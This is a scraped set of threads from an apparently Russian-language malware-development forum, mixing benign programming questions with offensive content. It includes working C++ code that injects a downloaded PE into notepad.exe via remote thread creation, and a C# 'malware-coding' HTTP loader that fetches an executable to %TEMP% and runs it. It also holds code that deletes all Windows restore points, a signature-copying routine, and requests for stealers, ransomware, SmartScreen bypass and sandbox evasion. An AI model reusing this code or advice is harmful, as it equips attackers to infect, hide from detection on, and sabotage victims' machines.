        std::cerr << "Failed to open internet." << std::endl;
        return false;
    }

    HINTERNET hFile = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hFile) {
        std::cerr << "Failed to open URL." << std::endl;
        InternetCloseHandle(hInternet);
        return false;
    }

    char tempBuffer[4096];
    DWORD bytesRead;
    while (InternetReadFile(hFile, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) {
        buffer.insert(buffer.end(), tempBuffer, tempBuffer + bytesRead);
    }

    InternetCloseHandle(hFile);
    InternetCloseHandle(hInternet);
    return true;
}

int main()
{
    const wchar_t* url = L"https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
    std::vector<char> buffer;
    DownloadFileFromURL(url, buffer);

    if (buffer.empty()) {
        std::cerr << "Buffer is empty!" << std::endl;
        return 1;
    }
    PVOID imageBase = buffer.data();

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        std::cerr << "Not a valid PE file!" << std::endl;
        return 1;
    }

    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
    if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
        std::cerr << "Not a valid NT header!" << std::endl;
        return 1;
    }
    std::cout << "Entry point address: " << std::hex << (DWORD_PTR)imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint << std::endl;

    PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
    if (localImage == NULL) {
        std::cerr << "VirtualAlloc failed: " << GetLastError() << std::endl;
        return 1;
    }

    memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

    // Open the target process - this is process we will be injecting this PE into
    HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 13408);
    if (targetProcess == NULL) {
        std::cerr << "OpenProcess failed: " << GetLastError() << std::endl;
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    // Allocate a new memory block in the target process. This is where we will be injecting this PE
    PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (targetImage == NULL) {
        std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
        CloseHandle(targetProcess);
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

    PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    DWORD relocationEntriesCount = 0;
    PDWORD_PTR patchedAddress;
    PBASE_RELOCATION_ENTRY relocationRVA = NULL;

    while (relocationTable->SizeOfBlock > 0)
    {
        relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
        relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

        for (short i = 0; i < relocationEntriesCount; i++)
        {
            if (relocationRVA[i].Offset)
            {
                patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
                *patchedAddress += deltaImageBase;
            }
        }
        relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
    }

    if (!WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL)) {
        std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
        VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
        CloseHandle(targetProcess);
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)targetImage + ntHeader->OptionalHeader.AddressOfEntryPoint), NULL, 0, NULL);
    if (remoteThread == NULL) {
        std::cerr << "CreateRemoteThread failed: " << GetLastError() << std::endl;
        VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
        CloseHandle(targetProcess);
        VirtualFree(localImage, 0, MEM_RELEASE);
        return 1;
    }

    WaitForSingleObject(remoteThread, INFINITE);
    CloseHandle(remoteThread);
    CloseHandle(targetProcess);
    VirtualFree(localImage, 0, MEM_RELEASE);

    std::cout << "PE file successfully injected." << std::endl;

    return 0;
}

Исключение сейчас получаю в этом месте:

C++:Copy to clipboard

*patchedAddress += deltaImageBase;

Само исключение выглядит следующим образом
Exception thrown: read access violation.
patchedAddress was 0x2A589655A51.

Процесс в который я пытаюсь внедрить - notepad.exe. PID указываю в этом месте (в дальнейщем планирую автоматически получать) -

C++:Copy to clipboard

HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 3676);

Дайте наводку куда смотреть и копать)

stealer C: how to implement sqlite and encryption in a small size?
ID: 6765d804b4103b69df375a29
Thread ID: 41792
Created: 2020-09-05T16:18:56+0000
Last Post: 2020-09-05T16:26:40+0000
Author: 3c2n90yt57489t3y8794
Replies: 1 Views: 930

Hello, If I want to code a stealer, how could I implement sqlite functions in order to communicate with google chrome database? Is adding the full sqlite library a good practice? The same question for cryptographic functions I need to use in a stealer: If I use OpenSSL the final size is really huge. Should I use a smaller library or can I implement all crypto functions using winapi ?

c# coder needed
ID: 6765d804b4103b69df3759c9
Thread ID: 49822
Created: 2021-03-24T21:34:12+0000
Last Post: 2021-03-25T18:51:35+0000
Author: Olatunji09
Replies: 3 Views: 930

need a pe loader coded in c sharp can be exe or dll output

Как определить размер видеопамяти на GPU C#?
ID: 6765d804b4103b69df3759d3
Thread ID: 48618
Created: 2021-02-25T12:41:27+0000
Last Post: 2021-02-25T14:06:57+0000
Author: Ingiborga
Replies: 3 Views: 929

Гугл толком не дает не чего. либо запрос ошибочно выдает определение RAM, запарился искать.

Простенький HTTP лоадер на C#
ID: 6765d804b4103b69df3756ad
Thread ID: 124687
Created: 2024-10-12T21:48:49+0000
Last Post: 2024-10-13T19:21:12+0000
Author: MORGENSHTERN
Replies: 5 Views: 929

приветствую читателей данной статьи
статья предназначена для совсем новичков в малварь-кодинге и тут будет максимально простой код
сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient
проще говоря будем делать костыли 😁
сразу скажу он не поддерживает HTTPS :confused:

итак, для начала набросаем переменных в код:

C#:Copy to clipboard

string url = "example.com";
string filePath = Path.Combine(Path.GetTempPath(), "program.exe");

думаю объяснять для чего они не нужно

далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше)

C#:Copy to clipboard

  using (TcpClient client = new TcpClient(url, 80))
  using (NetworkStream networkStream = client.GetStream())
  {
      string request = "GET /7z.exe HTTP/1.1\r\n" +
                       $"Host: {url}\r\n" +
                       "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" +
                       "Connection: close\r\n\r\n";
      byte[] requestBytes = Encoding.UTF8.GetBytes(request);
      networkStream.Write(requestBytes, 0, requestBytes.Length);
      using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
      {
          byte[] buffer = new byte[8192];
          int bytesRead;
          bool headersProcessed = false;
          while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0)
          {
              if (!headersProcessed)
              {
                  string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead);
                  int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n");
                  if (headerEndIndex >= 0)
                  {
                      headersProcessed = true;
                      int bodyStartIndex = headerEndIndex + 4;
                      fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex);
                  }
              }
              else
              {
                  fileStream.Write(buffer, 0, bytesRead);
              }
          }
      }
  }

следовательно если у вас файл расположен где-нибудь на http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe" вставляете "/files/hosting/odfjoqiwfjwqof40.exe"
далее пишем код для запуска процесса:

C#:Copy to clipboard

System.Diagnostics.Process.Start(filePath);

вот и все, наш чудо-лоадер готов :cool:

how to build rat
ID: 6765d804b4103b69df3756c4
Thread ID: 122177
Created: 2024-09-06T10:45:46+0000
Last Post: 2024-09-07T17:08:58+0000
Author: b3crypt
Replies: 5 Views: 929

how to build this rat

github.com

[ GitHub - 61-6c-69/Ronin: Remote administration tool

](https://github.com/61-6c-69/Ronin)

Remote administration tool. Contribute to 61-6c-69/Ronin development by creating an account on GitHub.

github.com github.com

Помогите с Задачкой на Java
ID: 6765d804b4103b69df3759d4
Thread ID: 48397
Created: 2021-02-20T14:07:23+0000
Last Post: 2021-02-24T15:15:42+0000
Author: te1ho
Replies: 2 Views: 926

Есть задачка (фото прикрепленно), препод не то чтобы Java не преподавал, он про нее даже слова не сказал, и если с задачкой иосифа флавия еще как то справился то тут пиздец, может кто решить? или хотяб сырое решение накинуть? в долгу не останусь.(сам на html максимум писал что то, с этим так вообще не врубаюсь)

Как учить winapi?
ID: 6765d804b4103b69df375839
Thread ID: 79070
Created: 2022-12-31T11:31:53+0000
Last Post: 2023-01-02T09:42:20+0000
Author: Alter_Ego
Replies: 7 Views: 923

Привет. Друзья, подскажите какие то материалы по WinAPI, в контексте тематики форума(RedTeam, pentesting)?
Язык Си уже немного изучил по двум учебникам.

Anti Debug
ID: 6765d804b4103b69df375a31
Thread ID: 41112
Created: 2020-08-20T07:27:28+0000
Last Post: 2020-08-21T05:49:47+0000
Author: UseExploit
Replies: 2 Views: 921

Класс Anti Debug для c#

Скачать:

You must spend at least 1 day(s) on the forum to view the content.

[ 2_5442803507788777250.cs - AnonFiles

](https://anonfiles.com/D4KbbfO4of/2_5442803507788777250_cs)

anonfiles.com anonfiles.com

Удаляем все точки восстановления в системе windows
ID: 6765d804b4103b69df375993
Thread ID: 52735
Created: 2021-06-10T11:30:41+0000
Last Post: 2021-06-15T16:28:13+0000
Author: EmeliRouse
Replies: 4 Views: 920

Hidden content for authorized users.

Создаём класс NativeMethods.cs запишем в него функцию [SRRemoveRestorePoint](https://docs.microsoft.com/en- us/windows/win32/api/srrestoreptapi/nf-srrestoreptapi-srremoverestorepoint)

C#:Copy to clipboard

internal static class NativeMethods
{
   [DllImport("Srclient.dll")]
   public static extern int SRRemoveRestorePoint(int index);
}

Создаём класс SysStore.cs
Не забываем подключить ссылку System.Management

C#:Copy to clipboard

using System;
using System.Management;

public class SysStore
{
  public static void Inizialize()
  {
     try
     {
        using (ManagementObjectCollection searcher = new ManagementObjectSearcher("root\\DEFAULT", "SELECT * FROM SystemRestore").Get())
        {
           foreach (ManagementBaseObject collection in searcher)
           {
              int point = Convert.ToInt32(((uint)collection["sequencenumber"]).ToString());
              NativeMethods.SRRemoveRestorePoint(point);
           }
        }
     }
     catch (Exception) { }
  }
}

Далее просто вызываем метод

C#:Copy to clipboard

SysStore.Inizialize();

в любом месте.

C#:Copy to clipboard

namespace RestorePoints
{
    using System;

    internal static class Program
    {
        [STAThread]
        public static void Main()
        {
            SysStore.Inizialize();

            Console.ReadKey(true);
        }
    }
}

После этого в системе не будет ни одной записи для восстановления системы.

[C#] dnlib - Изменение версии .NetFramework'a другого приложения
ID: 6765d804b4103b69df375a22
Thread ID: 41875
Created: 2020-09-08T13:48:24+0000
Last Post: 2020-09-18T23:05:46+0000
Author: r3xq1
Replies: 6 Views: 918

Народ кто нибудь работал с библиотекой dnlib?

Средствами dnlib библиотеки пробую изменить версию, сама версия меняется ( проверял через утилиту die - Detect It Easy )
Собственно код для изменения версии:

C#:Copy to clipboard

 // MyBinaryExeFile - Файл .exe находящийся в ресурсах ( Version .NetFramework: 4.5 )
byte[] resource = Properties.Resources.MyBinaryExeFile;
using var module = ModuleDefMD.Load(resource);
if (module.IsILOnly)
{
    module.RuntimeVersion = "v4.8.3928.0"; // тут меняется версия ( пробовал по разному с v и без и.т.д )
    module?.Write(Path.Combine(GlobalPath.CurrDir, "NewBuild.exe"));
}

После запуска нового файла появляется ошибка:

Screenshot_1.png

Если убрать module.RuntimeVersion то всё норм! Но с этим параметром ломается
Все версии NetFramework на компе установлены.

embedding tor in a C/C++ application ?
ID: 6765d804b4103b69df375a16
Thread ID: 43094
Created: 2020-10-10T08:38:06+0000
Last Post: 2020-10-18T21:19:23+0000
Author: 3c2n90yt57489t3y8794
Replies: 2 Views: 918

Hello, I want to contact and create a tor hidden service using C/C++, in order to learn how a malware that uses tor network works. Is there any source code sample (or library) about using tor from a C++ app? Should I embed a tor executable or there are better alternatives?

С++ Sleep на NT
ID: 6765d804b4103b69df3759b6
Thread ID: 50889
Created: 2021-04-21T02:10:40+0000
Last Post: 2021-04-24T20:39:39+0000
Author: premiumcat
Replies: 3 Views: 916

C:Copy to clipboard

__forceinline LARGE_INTEGER* WINAPI baseformat_timeout(LARGE_INTEGER* pLITimeout, DWORD dwMillis)
{
    pLITimeout->QuadPart = ((LONGLONG)dwMillis * 10000) * -1;
    return pLITimeout;
}

int sleep_bomb( DWORD dwMilliseconds, DWORD dwMagic )
{
    NTSTATUS errCode;

    LARGE_INTEGER Time;
    PLARGE_INTEGER TimePtr;
    BOOL bAlertable;

    TimePtr = baseformat_timeout( &Time, dwMilliseconds );

    if ( !TimePtr )
    {
        Time.LowPart = 0;
        Time.HighPart = 0x80000000;
        TimePtr = &Time;
    }

    bAlertable = TRUE;

    do
    {
        errCode = NTLIB32.NtDelayExecution ( ( BOOLEAN )bAlertable, TimePtr );
    }
    while ( ( bAlertable ) &&\
        ( errCode == STATUS_ALERTED ) );

    return ( errCode == STATUS_USER_APC ) \
        ? WAIT_IO_COMPLETION : 0;
}
Проблема шифрования CryptoAPI и расшифровки OpenSSL
ID: 6765d804b4103b69df375a1e
Thread ID: 42500
Created: 2020-09-25T19:50:14+0000
Last Post: 2020-09-27T21:14:31+0000
Author: GlowingOne
Replies: 4 Views: 907

Я шифрую с помощью функции CryptEncrypt, использую RSA с заполнением OAEP, переворачиваю байты зашифрованного файла, но когда я пытаюсь расшифровать файл с помощью openSSL, он говорит, что произошла ошибка при декодировании OAEP.

Плюсы и минусы популярных языков программирования: C/C++, C#, .NET и Java
ID: 6765d804b4103b69df375811
Thread ID: 83612
Created: 2023-03-11T19:23:23+0000
Last Post: 2023-03-25T11:21:39+0000
Author: kingessopper
Prefix: Статья
Replies: 4 Views: 902

Основные плюсы и минусы языков программирования C/C++, C#, .NET и Java:

C/C++:

Плюсы:

Высокая производительность и эффективность, поскольку C/C++ являются компилируемыми языками и выполняются напрямую на компьютере;
Большое количество библиотек и фреймворков для работы с низкоуровневыми операциями, такими как работа с железом и операционной системой;
Возможность более глубокого управления памятью, что позволяет создавать производительные приложения.
Минусы:

Трудности с управлением памятью, что может привести к ошибкам в работе программы;
Сложность написания кода, поскольку C/C++ являются языками низкого уровня;
Меньшая скорость разработки, поскольку требуется больше времени для написания и тестирования кода.
C#:

Плюсы:

Более высокий уровень абстракции, чем C/C++, что упрощает написание кода;
Использование сборок и библиотек .NET Framework позволяет быстро и эффективно разрабатывать приложения;
Встроенное управление памятью, что снижает риск ошибок в работе программы.
Минусы:

Ограничение использования только на платформе Windows;
Более низкая производительность, чем у C/C++;
Более высокая скорость выполнения программы, по сравнению с другими языками, но все же не такая высокая, как у C/C++.
.NET:

Плюсы:

Использование общего языка выполнения (Common Language Runtime, CLR) позволяет использовать различные языки программирования, включая C#, F# и Visual Basic;
Большое количество библиотек и фреймворков для работы с операционной системой и другими системными ресурсами;
Встроенная поддержка многопоточности.
Минусы:

Ограничение использования только на платформе Windows;
Высокий уровень абстракции может снизить производительность;
Более низкая производительность, чем у C/C++.
Java:

Плюсы:

Поддержка кроссплатформеность, что позволяет разработчикам создавать приложения для разных операционных систем;
Встроенное управление памятью, что снижает риск ошибок в работе программы;
Большое количество библиотек и фреймворков для работы с различными задачами, такими как веб-разработка и обработка данных. Минусы:

Более низкая производительность, чем у C/C++; Ограничения в использовании низкоуровневых операций; Сложности с оптимизацией производительности на больших объемах данных.

Shellcode hex string to byte array c++
ID: 6765d804b4103b69df375874
Thread ID: 74288
Created: 2022-10-13T13:41:51+0000
Last Post: 2022-10-31T08:22:00+0000
Author: DanteXDark
Replies: 5 Views: 902

HI people of xss, i need little help in c++, i want to convert hex string string raw="\xb9\xc7\x82\x52\xeb\x37" (containing shellcode) to a byte array like (char shellcode[]= { 0x00, 0xff, ... } ; )

sry this is a very silly question but i searched on internet but didnt got aything that i can use. pls help, THX IN ADVANCE )

как сделать проверку на песок/виртуалку
ID: 6765d804b4103b69df3756ee
Thread ID: 105284
Created: 2024-01-07T18:03:36+0000
Last Post: 2024-06-30T20:02:45+0000
Author: asphyxia
Replies: 3 Views: 901

тема, на плюсах

[Udemy] [Andrey Sumin] Java с нуля до Junior + Подготовка к собеседованию (2020)
ID: 6765d804b4103b69df3759f5
Thread ID: 46370
Created: 2021-01-05T18:41:32+0000
Last Post: 2021-01-05T18:41:32+0000
Author: balabashka
Replies: 0 Views: 900

Название: [Andrey Sumin] Java с нуля до Junior + Подготовка к собеседованию (2020)

Автор: Udemy

Описание:

Чему вы научитесь
Разработка программ на языке Java
Синтаксис языка Java
Основные конструкции - циклы и условия
Объектно-ориентированное программирование
Многопоточность
JUnit-тестирование
Collections Framework (подробный разбор)
Generics (обобщения)
Stream API
Потоки ввода-вывода
Подготовка к собеседованию

Требования
Наличие желания
Наличие компьютера

Всем привет и добро пожаловать на полный курс Java с нуля!

Меня зовут Андрей Сумин.

Этот курс предназначен как для людей, которые никогда не изучали языки программирования, так и для тех, кто уже знает язык Java и хочет углубить свои знания и подготовиться к собеседованию на должность Junior разработчика.

Java - это очень мощный язык, который используется в очень многих сферах: в веб разработке, в разработке приложений под Андроид, в серверных приложениях, и считается довольно сложным для новичков, но не переживайте, я специально построил материал таким образом, чтобы он был понятен школьникам и студентам и людям различных профессий в том числе нетехнических, у которых нет никакого опыта в программировании. Все что нужно от вас – это желание учиться и наличие компьютера. Лекции содержат домашние задания, чтобы вы не просто прослушали материал, но и закрепили его на практике.

В этом курсе мы с самого нуля изучим синтаксис Java, основные конструкции – циклы и условия, рассмотрим объектно-ориентированное программирование, узнаем такие страшные понятия как инкапсуляция, наследование и полиморфизм, и что оказывается не такие уж они и страшные, научимся создавать многопоточные программы и многое другое.

Во втором разделе курса мы начнем углубленное изучение Java. Познакомимся с JUnit-тестированием, очень подробно разберем самые популярные коллекции из Java Collections Framework и напишем свои реализации многих из них. Глубоко разберем одну из самых сложных тем в Java - многопоточное программирование, поработаем с файлами, потоками ввода-вывода, Stream API и многое другое.

Каждый раздел будет разбором самых популярных вопросов на собеседовании. По окончании курса вы должны быть полностью готовы пройти интервью по части Java SE на должность Junior-разработчика.

Если после изучения основ Java, вы планируете заняться разработкой приложений под Android, то здесь же на сайте вы можете найти мой курс по Android, буду рад видеть вас там.

Желаю вам успеха в освоении новой профессии, и до встречи на страницах курса.

Для кого этот курс:
Для прохождения этого курса не нужны никакие начальные знания, курс рассчитан на людей, которые никогда не занимались программированием.

Исходник
Скачать

P.S. Ссылку обновить не смогу, кому нужно качайте сейчас :)

Подскажите бесплатные песочницы с api для анализа файла на вредоносное ПО
ID: 6765d804b4103b69df3759d6
Thread ID: 48451
Created: 2021-02-22T10:27:58+0000
Last Post: 2021-02-22T10:50:56+0000
Author: PavelLeven7
Replies: 1 Views: 899

Подскажите бесплатные песочницы с api для анализа файла на вредоносное ПО (пишу на .net core)

Какой ЯП нужен чтоб создать ransomware?
ID: 6765d804b4103b69df375751
Thread ID: 104979
Created: 2024-01-02T12:08:00+0000
Last Post: 2024-01-08T20:55:31+0000
Author: anonx
Replies: 13 Views: 899

Гайды пж

How to bypass Microsoft Defender SmartScreen?
ID: 6765d804b4103b69df375693
Thread ID: 125916
Created: 2024-10-31T07:35:41+0000
Last Post: 2024-12-08T14:10:06+0000
Author: surruptor
Replies: 7 Views: 897

How can i bypass Microsoft Defender SmartScreen, to not flag my executable. currently when trying to run the payload executable. we see the warning message.

Windows protected your PC

Microsoft Defender SmartScreen prevented an unrecognized app from starting. Running this app might put your PC at risk.

Is there a way to maybe copy a code signature from a already trusted software. or obtain one myself remaining completely anonymous, and without analysis of my code.
Or perhaps any other tried and tested methods.

Импорт функций из DLL в PE файл
ID: 6765d804b4103b69df3756a2
Thread ID: 126187
Created: 2024-11-04T12:49:09+0000
Last Post: 2024-11-06T18:53:10+0000
Author: ymmfty0
Replies: 5 Views: 897

Читаю КРИС КАСПЕРСКИ Путь воина – внедрение в pe/coff-файлы. В главе про импорт говорится

Стандартный механизм импорта работает приблизительно так: специальная таблица (называемая таблицей импорта) перечисляет имена/ординалы всех импортируемых функций, указывая, в какое место страничного имиджа загрузчик должен записать эффективный адрес каждой из них. Грубо говоря, на каждую импортируемую функцию приходится один вызов GetProcAddress, фактически сводящийся к поэлементному перебору всей таблицы экспорта.

Click to expand...

Не много не понял. Про таблицу импорта он имеет в виду саму секцию Import Table , то есть .idata секцию
Цитата из документации msdn

Import Table| The import table address and size. For more information, see [The .idata Section](https://learn.microsoft.com/en- us/windows/win32/debug/pe-format#the-idata-section).
---|---

Click to expand...

Перечисляет он имена от куда? Из структуры _IMAGE_IMPORT_DESCRIPTOR ? А куда именно записывает этот эффективный адрес ? В IAT ? Помоги мне пожалуйста разобраться , я совсем уже запутался

Путеводитель по неопределенному поведению (С++)
ID: 6765d804b4103b69df37581b
Thread ID: 82231
Created: 2023-02-18T08:48:07+0000
Last Post: 2023-02-22T07:34:44+0000
Author: DildoFagins
Prefix: Мануал/Книга
Replies: 6 Views: 896

Смотрите, че нашел: https://github.com/Nekrolm/ubbook - выглядит, как маст рид для тех, кто хочет или уже кодит на Плюсах (не смотря на все мои предостережения :) ).

VC++ 6 MSVCRT.LIB
ID: 6765d804b4103b69df375a0c
Thread ID: 44642
Created: 2020-11-22T12:36:35+0000
Last Post: 2020-11-22T13:27:56+0000
Author: heybabyone
Replies: 2 Views: 896

Можете подкинуть именно msvcrt.lib из 6 судии.
Нужна CRT для поддержки овер xp version windows, а тащить с собой dll такой себе вариант.

p.s. киньте еще msvcrt_winxp.obj

Willing to pay - to use Netwire C/C++ array shellcode
ID: 6765d804b4103b69df3757ed
Thread ID: 55109
Created: 2021-08-10T07:52:37+0000
Last Post: 2023-05-08T08:02:51+0000
Author: intotheblues1
Replies: 3 Views: 889

Hello i saw someone who generate a C / C ++ array from netwire then somehow he build a dll through it and injects it in a legitimate executable by dll injection, can someone guide me please how to use that C / C ++ array from netwire into a dll then executable, i would really appreciate the help and even willing to pay for someone to teach me please as i dont have much knowledge

[C++] Recursive File Search
ID: 6765d804b4103b69df375a2d
Thread ID: 41594
Created: 2020-09-01T00:34:10+0000
Last Post: 2020-09-02T21:25:40+0000
Author: plexus
Replies: 4 Views: 888

:) I needed some code for recursive filesearch and wanted something that didn't depend on any external libraries or headers besides the winapi so I wrote this:

C++:Copy to clipboard

#include <Windows.h>
#include <iostream>


void file_lister(std::wstring folder)
{
    std::wstring folder_path = folder + L"\\*";
    WIN32_FIND_DATA fd;

    HANDLE handle = FindFirstFile(folder_path.c_str(), &fd);
    if (handle == INVALID_HANDLE_VALUE)
        return;

    while (FindNextFile(handle, &fd)){       
        if (wcscmp(fd.cFileName, L".") == 0 || wcscmp(fd.cFileName, L"..") == 0)
            continue;

        std::wstring path = folder + L"\\" + std::wstring(fd.cFileName);
        std::wcout << path << std::endl;
        if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            file_lister(path);
        }
    }
    FindClose(handle);
}

int main() {
    file_lister(L"C:\\Users");
    return 0;
}

It can be easily ported to C (just remove the use of iostream and change around a few of the datatypes) Feedback appreciated

Junor в RND команду
ID: 6765d804b4103b69df375a12
Thread ID: 43872
Created: 2020-11-03T15:04:57+0000
Last Post: 2020-11-03T15:04:57+0000
Author: dev
Replies: 0 Views: 888

проект растет, на данный момент нужен джун.

Hidden content for authorized users.

Пишем покерного бота,
Оплата договорная, зарплата или дадим бота для игры.
наш стек Spring Boot+, C# WinForms 4.+, JS для ajax, bootstrap
Если есть желание пишите ПМ:
CV (можно пару строк, стек и опыт работы)
Линк на github если есть что посмотреть.

[C#] Sign - Подписать файл сертификатом
ID: 6765d804b4103b69df375a3d
Thread ID: 40353
Created: 2020-08-02T21:16:45+0000
Last Post: 2020-08-02T21:16:45+0000
Author: r3xq1
Replies: 0 Views: 881

Шуршал у себя на компе, обнаружил такой класс CertSigning.cs , может будет интересно кому-то для своих реализаций, умеет подписывать файлы сертификатом.

C#:Copy to clipboard

namespace Sign
{
    using System;
    using System.IO;

    public static class CertSigning
    {
        public static byte[] CopySign(string path, bool bool0)
        {
            using var fileStream = new FileStream(path, FileMode.Open);
            fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
            byte[] array = new byte[4];
            fileStream.Read(array, 0, 2);
            int num = BitConverter.ToInt16(array, 0);
            byte[] result;
            fileStream.Seek(!bool0 ? Convert.ToInt64(num + 152) : Convert.ToInt64(num + 168), SeekOrigin.Begin);
            fileStream.Read(array, 0, 4);
            fileStream.Read(array, 0, 4);
            int num2 = BitConverter.ToInt32(array, 0);
            int value = BitConverter.ToInt32(array, 0);
            fileStream.Seek(Convert.ToInt64(value), SeekOrigin.Begin);
            byte[] array2 = new byte[num2 - 1 + 1 - 1 + 1];
            fileStream.Read(array2, 0, num2);
            result = array2;
            return result;
        }
        private static void Save(string pathfile, int offset, int offsetX)
        {
            byte[] array = new byte[4];
            using var fileStream = new FileStream(pathfile, FileMode.Open);
            fileStream.Seek(Convert.ToInt64(60), SeekOrigin.Begin);
            fileStream.Read(array, 0, 2);
            int num2 = BitConverter.ToInt16(array, 0);
            fileStream.Seek(Convert.ToInt64(num2 + 152), SeekOrigin.Begin); //  Convert.ToInt64(num2 + 160)
            fileStream.Write(BitConverter.GetBytes(offsetX), 0, 4);
            fileStream.Write(BitConverter.GetBytes(offset), 0, 4);
            fileStream.Flush();
        }
        public static void WriteSign(string savefile, string sertfile)
        {
            try
            {
                using FileStream fileStream = File.OpenRead(sertfile);
                byte[] array = new byte[Convert.ToInt32(fileStream.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
                fileStream.Read(array, 0, Convert.ToInt32(fileStream.Length));
                using FileStream fileStream2 = File.OpenRead(savefile);
                byte[] array2 = new byte[Convert.ToInt32(fileStream2.Length - Convert.ToInt64(1)) + 1 - 1 + 1];
                fileStream2.Read(array2, 0, Convert.ToInt32(fileStream2.Length));
                int num = Convert.ToInt32(array2.Length) + Convert.ToInt32(array.Length);
                var finalepath = savefile.Replace(".exe", "_signed.exe");
                using (var memoryStream = new MemoryStream(new byte[num - 1 + 1 - 1 + 1], 0, num, true, true))
                {
                    memoryStream.Write(array2, 0, Convert.ToInt32(array2.Length));
                    memoryStream.Write(array, 0, Convert.ToInt32(array.Length));
                    byte[] buffer = memoryStream.GetBuffer();
                    try
                    {
                        File.WriteAllBytes(finalepath, buffer);
                    }
                    catch { }
                }
                Save(finalepath, Convert.ToInt32(array.Length), Convert.ToInt32(array2.Length));
            }
            catch { }
        }
    }
}

Используется так:

C#:Copy to clipboard

CertSigning.WriteSign(this.PathToFileBox.Text, this.PathToSertBox.Text);
// PathToFileBox - Текстбокс где будет полный путь к файлу .exe
// PathToSertBox - Текстбокс где будет полный путь к файлу .sig ( сертификат )

Изменения, дополнения приветствуется)

Бсодит пк при загрузки драйвера
ID: 6765d804b4103b69df3756e8
Thread ID: 118989
Created: 2024-07-16T12:02:10+0000
Last Post: 2024-07-16T18:54:16+0000
Author: mddbs
Replies: 9 Views: 880

Я программировал Kernel сокеты и столкнулся с проблемой того что когда я маплю драйвер используя kdmapper всё хорошо но когда я использую свой кастомный маппер у меня вылетает синий экран(псодит)
те кто хорошо разбираются в анализе краш дампов помогите пожалуйста

Searching Bind APK
ID: 6765d804b4103b69df375a4e
Thread ID: 38826
Created: 2020-06-24T23:34:35+0000
Last Post: 2020-06-24T23:34:35+0000
Author: DiCaprio
Replies: 0 Views: 878

Hello, xss!

I am looking for people or a guide on how to bind android applications. Is anyone able to help me?

Loader для вируса
ID: 6765d804b4103b69df375942
Thread ID: 59072
Created: 2021-11-20T08:40:59+0000
Last Post: 2021-11-25T12:05:36+0000
Author: YourCodeMustDie
Replies: 15 Views: 871

Пишу лоадер для вируса на C#. Хотел бы посмотреть другие исходники с инекцией в память их (функционал) если не сложно покидайте сурцов. ?

Hello Bro's I have some ASM errors when I'm triing to compile this ransomware .asm to .exe
ID: 6765d804b4103b69df3759e9
Thread ID: 46996
Created: 2021-01-19T19:05:06+0000
Last Post: 2021-01-20T16:51:26+0000
Author: Nastrovje
Replies: 6 Views: 870

Hello my Bro's !

I am just trying to turn this .asm to .exe but I have too many error and I can't compile this code..

This code is from a Russian guy on this forum, but I think it's not working anymore.

The files name was "simple Ransomware" and it was 2 files in .asm ---> Crypt and Decrypt.

Also I post here the code I have modified, and later I post the original because I can't find it anymore, maybe the thread has been deleted ?

Thanks a lot take care my men's :)

Code .asm --------- Thanks Bro's if you can help me to compile this, i have tried with nasm but I have a lot of errors..

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
